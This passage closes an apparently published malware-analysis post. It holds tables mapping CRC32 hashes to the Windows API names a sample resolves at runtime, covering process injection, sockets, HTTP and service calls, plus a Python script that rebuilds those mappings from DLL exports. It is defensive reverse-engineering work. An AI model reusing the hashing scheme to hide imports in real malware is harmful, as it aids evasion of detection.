0x1DE0986EDuplicateHandle
0x1FA744BAWaitForSingleObject
0x20200D0BOutputDebugStringW
0x207889B5GetVersionExA
0x20D8AEB4OpenProcess
0x21600F2EMoveFileA
0x22041FCBSetLastError
0x231ACDD9GetFileType
0x24279339CompareStringA
0x25227614GetStdHandle
0x2582BE79SetEnvironmentVariableW
0x2597DC70FreeLibrary
0x264DFB6BGetCommandLineW
0x27D40965FindClose
0x27FA4E5DReadConsoleA
0x288801BBGetACP
0x296DC854GetFullPathNameW
0x2A3CA097SetStdHandle
0x2D1AC948GetLastError
0x2DC506A1DecodePointer
0x2E1B9C17TlsGetValue
0x2F79E55BGetCurrentProcess
0x310D1257Sleep
0x32AA51ABGetConsoleCP
0x32AC0A22VirtualFree
0x3316A9EDWriteFile
0x347BE5ABSetUnhandledExceptionFilter
0x34EAF723LoadLibraryW
0x35F56674AreFileApisANSI
0x36142A31FindFirstFileA
0x3683E000GetProcAddress
0x38623B1CGetCurrentDirectoryA
0x38CE4F40RemoveDirectoryW
0x3B4B56B2GetFileAttributesW
0x3E0C4789CreateToolhelp32Snapshot
0x3E19300AGetEnvironmentStringsW
0x43949840Process32NextW
0x43F291E1IsProcessorFeaturePresent
0x4505FC28SetHandleCount
0x457C3B09GetComputerNameA
0x47AB7900OpenThread
0x49C0EE61WaitNamedPipeW
0x4BE46D93CreateFileMappingA
0x4DF59A83GetModuleHandleExA
0x4E799A8FGetModuleHandleA
0x4E7D2056HeapCreate
0x4EACF3C1GetOEMCP
0x4F091756HeapFree
0x4F6CEA0BCloseHandle
0x5199F0B9UpdateProcThreadAttribute
0x521D346AGetStartupInfoA
0x52A94FBDQueryPerformanceCounter
0x54BF4072TerminateProcess
0x5764C7D0MapViewOfFile
0x57AE26E9CreateProcessA
0x59454763ExpandEnvironmentStringsA
0x5C79E9FFLCMapStringA
0x5CA76EFCDeleteCriticalSection
0x5DEA8D31CreatePipe
0x5E1016D6CreateFileW
0x629DCE31SetCurrentDirectoryW
0x64EFD1D2LoadLibraryExA
0x657F1A76WideCharToMultiByte
0x667AF71DSetFilePointerEx
0x69D3CE38GetStringTypeA
0x6ADB82C6CreateNamedPipeW
0x6E649434DeleteFileA
0x6F95F94FCreateThread
0x6FFCBEB5GetConsoleOutputCP
0x71139260GetSystemTimeAsFileTime
0x7207819CGetCurrentThreadId
0x7AB4C783GetLocaleInfoW
0x7BC9086AIsDebuggerPresent
0x7C6586FASetErrorMode
0x7D65BB85ConnectNamedPipe
0x7E0C63E6FindNextFileW
0x7E68FFB3Process32FirstW
0x7EB24952CreateDirectoryA
0x7EFDC07AProcessIdToSessionId
0x7F509D1EExitThread
0x81C17B2AEncodePointer
0x84221D18Wow64SetThreadContext
0x8A66FC03CreateDirectoryW
0x8AD8D6B7FindNextFileA
0x8D0EE1C6MultiByteToWideChar
0x8E6072D2GetLocaleInfoA
0x8EE3D934GetLogicalDrives
0x903B6483LoadLibraryExW
0x96497B60SetCurrentDirectoryA
0x976BF8A9FileTimeToSystemTime
0x985383D9SystemTimeToTzSpecificLocalTime
0x9AB02165DeleteFileW
0x9B61463EGetThreadContext
0x9D077B69GetStringTypeW
0x9E0F3797CreateNamedPipeA
0xA124E28DHeapAlloc
0xA23ED800GetConsoleMode
0xA2E7FBECVirtualProtectEx
0xA37A93B8CreateProcessW
0xA4BDE607GetTickCount
0xA6BDEBA2SetNamedPipeHandleState
0xA6C9813BGetStartupInfoW
0xA7765701HeapReAlloc
0xA8AD5CAELCMapStringW
0xA9773427SetThreadContext
0xAAC4A387CreateFileA
0xAD91F232ExpandEnvironmentStringsW
0xAF201BD3DebugBreak
0xB0A768D1WriteProcessMemory
0xB1A88E58GetComputerNameW
0xB61FD3CBVirtualQuery
0xB6346F01Wow64GetThreadContext
0xB81509F1TlsFree
0xB9212FD2GetModuleHandleExW
0xBAAD2FDEGetModuleHandleW
0xBD0B6607DeleteProcThreadAttributeList
0xBD145B30WaitNamedPipeA
0xBF09BD92GetProcessHeap
0xBF30D8C2CreateFileMappingW
0xC03E4272LoadLibraryA
0xC2C09F60FindFirstFileW
0xC6E54950UnmapViewOfFile
0xC78D4146ResumeThread
0xCACD855BGetEnvironmentStringsA
0xCC1AFA11RemoveDirectoryA
0xCCB68E4DGetCurrentDirectoryW
0xCF9FE3E3GetFileAttributesA
0xD06FE642DisconnectNamedPipe
0xD0F32668CompareStringW
0xD0FE5166EnterCriticalSection
0xD1560B28SetEnvironmentVariableA
0xD1AFCBF4IsWow64Process
0xD2994E3AGetCommandLineA
0xD32EFB0CReadConsoleW
0xD4AC3CE4GetVersionExW
0xD4F4B85AOutputDebugStringA
0xD5B4BA7FMoveFileW
0xD6EAA3C6TlsSetValue
0xD8092904GetCPInfo
0xD9830E5AProcess32First
0xD9A3A95FInitializeProcThreadAttributeList
0xDAE64EA5SetEndOfFile
0xDAEF6833ExitProcess
0xDC74CEEBThread32First
0xDDB97D05GetFullPathNameA
0xE24BEC1CGetCurrentProcessId
0xE375E849WriteConsoleA
0xE3A7BFC3IsValidCodePage
0xE3D071C5FreeEnvironmentStringsW
0xE44BC2DFGetLocalTime
0xE619A249GetCurrentThread
0xE961C8D8TlsAlloc
0xECAC0FD0UnhandledExceptionFilter
0xEFF990D0VirtualProtect
0xF5E7F2F4HeapSize
0xF631F2B5VirtualAlloc
0xF6A3FC2FReadFile
0xF740085FGetModuleFileNameA
0xFD712A3FProcess32Next
0xFE662366CopyFileA

ws2_32.dll

Hash CRC32API resolvida
0x053BE917htons
0x2AC874D1ioctlsocket
0x34EB427DWSASocketA
0x3DDB9802listen
0x4CDF12CBaccept
0x5129B6C4ntohl
0x588CC532send
0x5A392888closesocket
0x5F0A036CWSAStartup
0x6067C93FWSAIoctl
0x6A5D213Dshutdown
0x6AC070A3__WSAFDIsSet
0x71CC6743WSACleanup
0x8833E4E2htonl
0x8B3006E0connect
0xA627AD52recv
0xAFF54180WSAGetLastError
0xB40D153Fselect
0xB9330CACbind
0xC03FF72CWSASocketW
0xC88ABA5Dgethostbyname
0xDC21BB31ntohs
0xFA1A9744socket

wininet.dll

Hash CRC32API resolvida
0x00FF4E09HttpSendRequestA
0x099E7708HttpQueryInfoW
0x14786735InternetErrorDlg
0x1AE6E2DBInternetCloseHandle
0x1D68C08EHttpAddRequestHeadersW
0x25E957C2InternetOpenA
0x3AB06AA7InternetQueryOptionA
0x3DB05A0BInternetConnectA
0x4171F640InternetSetOptionW
0x4515EC5FInternetSetStatusCallbackA
0x4F5642C5HttpOpenRequestW
0x933F670AInternetReadFile
0xB1C1590EInternetSetStatusCallbackW
0xB5A54311InternetSetOptionA
0xBB82F794HttpOpenRequestA
0xC964EF5AInternetConnectW
0xCE64DFF6InternetQueryOptionW
0xD13DE293InternetOpenW
0xE5068E1BInternetQueryDataAvailable
0xE9BC75DFHttpAddRequestHeadersA
0xF42BFB58HttpSendRequestW
0xFD4AC259HttpQueryInfoA

advapi32.dll

Hash CRC32API resolvida
0x267823E2CreateServiceA
0x3995935BQueryServiceStatus
0x793811ADOpenSCManagerA
0x7E4B6E4AStartServiceW
0x8A9FDB1BStartServiceA
0x8DECA4FCOpenSCManagerW
0x8F8A3020CloseServiceHandle
0xD2AC96B3CreateServiceW
0xD646D2A5DeleteService

Appendix E — Complete Hash Resolution Script

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
from pathlib import Path
from collections import defaultdict
import pefile

kernel32_hashes = [
    0x35F56674, 0x4F6CEA0B, 0x24279339, 0xD0F32668, 0x7D65BB85, 0xFE662366, 0xAB29637, 0x7EB24952, 0x8A66FC03, 0xAAC4A387, 0x5E1016D6, 0x4BE46D93, 0xBF30D8C2, 0x9E0F3797, 0x6ADB82C6, 0x5DEA8D31, 0x57AE26E9, 0xA37A93B8, 0x7F73EF, 0x6F95F94F, 0x3E0C4789, 0xAF201BD3, 0x2DC506A1, 0x5CA76EFC, 0x6E649434, 0x9AB02165, 0xBD0B6607, 0xD06FE642, 0x1DE0986E, 0x81C17B2A, 0xD0FE5166, 0xDAEF6833, 0x7F509D1E, 0x59454763, 0xAD91F232, 0x976BF8A9, 0x27D40965, 0x36142A31, 0xC2C09F60, 0x8AD8D6B7, 0x7E0C63E6, 0x5C2D077, 0x1704C494, 0xE3D071C5, 0x2597DC70, 0x288801BB, 0xD8092904, 0xD2994E3A, 0x264DFB6B, 0x457C3B09, 0xB1A88E58, 0x32AA51AB, 0xA23ED800, 0x6FFCBEB5, 0x38623B1C, 0xCCB68E4D, 0x2F79E55B, 0xE24BEC1C, 0xE619A249, 0x7207819C, 0xCACD855B, 0x3E19300A, 0xCF9FE3E3, 0x3B4B56B2, 0x231ACDD9, 0xDDB97D05, 0x296DC854, 0x2D1AC948, 0xE44BC2DF, 0x8E6072D2, 0x7AB4C783, 0x8EE3D934, 0xF740085F, 0x394BD0E, 0x4E799A8F, 0xBAAD2FDE, 0x4DF59A83, 0xB9212FD2, 0x4EACF3C1, 0x3683E000, 0xBF09BD92, 0x521D346A, 0xA6C9813B, 0x25227614, 0x69D3CE38, 0x9D077B69, 0x71139260, 0x9B61463E, 0xA4BDE607, 0x207889B5, 0xD4AC3CE4, 0xA124E28D, 0x4E7D2056, 0x6EE1D63, 0x4F091756, 0xA7765701, 0xF5E7F2F4, 0x1C812D1E, 0xD9A3A95F, 0x7BC9086A, 0x43F291E1, 0xE3A7BFC3, 0xD1AFCBF4, 0x5C79E9FF, 0xA8AD5CAE, 0x17F91E53, 0xC03E4272, 0x34EAF723, 0x64EFD1D2, 0x903B6483, 0x5764C7D0, 0x21600F2E, 0xD5B4BA7F, 0x8D0EE1C6, 0x20D8AEB4, 0x47AB7900, 0xD4F4B85A, 0x20200D0B, 0xB635934, 0xD9830E5A, 0xFD712A3F, 0x7E68FFB3, 0x43949840, 0x7EFDC07A, 0x52A94FBD, 0x27FA4E5D, 0xD32EFB0C, 0xF6A3FC2F, 0x83851BD, 0xCC1AFA11, 0x38CE4F40, 0xC78D4146, 0x96497B60, 0x629DCE31, 0xDAE64EA5, 0xD1560B28, 0x2582BE79, 0x7C6586FA, 0x1038158B, 0x667AF71D, 0x4505FC28, 0x22041FCB, 0xA6BDEBA2, 0x2A3CA097, 0xA9773427, 0x347BE5AB, 0x310D1257, 0x985383D9, 0x54BF4072, 0xDC74CEEB, 0xAE688F8, 0xE961C8D8, 0xB81509F1, 0x2E1B9C17, 0xD6EAA3C6, 0xECAC0FD0, 0xC6E54950, 0x5199F0B9, 0xF631F2B5, 0x19D17DB2, 0x32AC0A22, 0xEFF990D0, 0xA2E7FBEC, 0xB61FD3CB, 0x1FA744BA, 0xBD145B30, 0x49C0EE61, 0x657F1A76, 0xB6346F01, 0x84221D18, 0xE375E849, 0x17A15D18, 0x3316A9ED, 0xB0A768D1
]
 
ws2_32_hashes = [
    0x71CC6743, 0xAFF54180, 0x6067C93F, 0x34EB427D, 0xC03FF72C, 0x5F0A036C, 0x6AC070A3, 0x4CDF12CB, 0xB9330CAC, 0x5A392888, 0x8B3006E0, 0xC88ABA5D, 0x8833E4E2, 0x53BE917, 0x2AC874D1, 0x3DDB9802, 0x5129B6C4, 0xDC21BB31, 0xA627AD52, 0xB40D153F, 0x588CC532, 0x6A5D213D, 0xFA1A9744
]
 
wininet_hashes = [
    0xE9BC75DF, 0x1D68C08E, 0xBB82F794, 0x4F5642C5, 0xFD4AC259, 0x99E7708, 0xFF4E09, 0xF42BFB58, 0x1AE6E2DB, 0x3DB05A0B, 0xC964EF5A, 0x25E957C2, 0xD13DE293, 0xE5068E1B, 0x3AB06AA7, 0xCE64DFF6, 0x933F670A, 0xB5A54311, 0x4171F640, 0x4515EC5F, 0xB1C1590E, 0x14786735
]

advapi32_hashes = [
    0x8F8A3020, 0x267823E2, 0xD2AC96B3, 0xD646D2A5, 0x793811AD, 0x8DECA4FC, 0x3995935B, 0x8A9FDB1B, 0x7E4B6E4A
]

def malware_crc32_name(name: bytes) -> int:
    crc = 0xFFFFFFFF

    for byte in name:
        crc ^= byte

        for _ in range(8):
            if crc & 1:
                crc = (
                    (crc >> 1) ^
                    0xEDB88320
                )
            else:
                crc >>= 1

            crc &= 0xFFFFFFFF

    return crc


def build_export_hash_index(
    dll_path: Path
):
    pe = pefile.PE(str(dll_path))
    index = defaultdict(list)

    for export in pe.DIRECTORY_ENTRY_EXPORT.symbols:
        if not export.name:
            continue

        export_name = export.name.decode(
            "ascii",
            errors="replace"
        )

        export_hash = malware_crc32_name(
            export.name
        )

        index[export_hash].append(
            export_name
        )

    return index


def resolve_hashes(
    dll_name: str,
    dll_path: Path,
    hashes: list[int]
):
    export_index = build_export_hash_index(
        dll_path
    )

    results = []

    for target_hash in hashes:
        matches = export_index.get(
            target_hash & 0xFFFFFFFF,
            []
        )
        if matches:
            for api_name in matches:
                results.append({
                    "dll": dll_name,
                    "hash": (
                        target_hash &
                        0xFFFFFFFF
                    ),
                    "api": api_name,
                })
        else:
            results.append({
                "dll": dll_name,
                "hash": (
                    target_hash &
                    0xFFFFFFFF
                ),
                "api": "UNRESOLVED",
            })

    return results


all_results = []

"""
If you are on Linux, you can get the respective DLLs at
https://winbindex.m417z.com/?file=<DLL_Name>.dll 
and change the paths below to run this script 
"""

jobs = {
    "kernel32.dll": {
        "path": Path(
            r"C:\Windows\SysWOW64\kernel32.dll"
        ),
        "hashes": kernel32_hashes,
    },
    "ws2_32.dll": {
        "path": Path(
            r"C:\Windows\SysWOW64\ws2_32.dll"
        ),
        "hashes": ws2_32_hashes,
    },
    "wininet.dll": {
        "path": Path(
            r"C:\Windows\SysWOW64\wininet.dll"
        ),
        "hashes": wininet_hashes,
    },
    "advapi32.dll": {
        "path": Path(
            r"C:\Windows\SysWOW64\advapi32.dll"
        ),
        "hashes": advapi32_hashes,
    },
}

for dll_name, job in jobs.items():
    results = resolve_hashes(
        dll_name,
        job["path"],
        job["hashes"]
    )

    all_results.extend(results)

    print(f"\n--- {dll_name} ---")

    for result in results:
        print(
            f"0x{result['hash']:08X}"
            f" -> {result['api']}"
        )

Learn more

1) DFIR Report (2023): From ScreenConnect to Hive Ransomware in 61 hours

2) eSentire Threat Intelligence Malware Analysis (2023): Resident Campaign

This post is licensed under CC BY 4.0 by the author.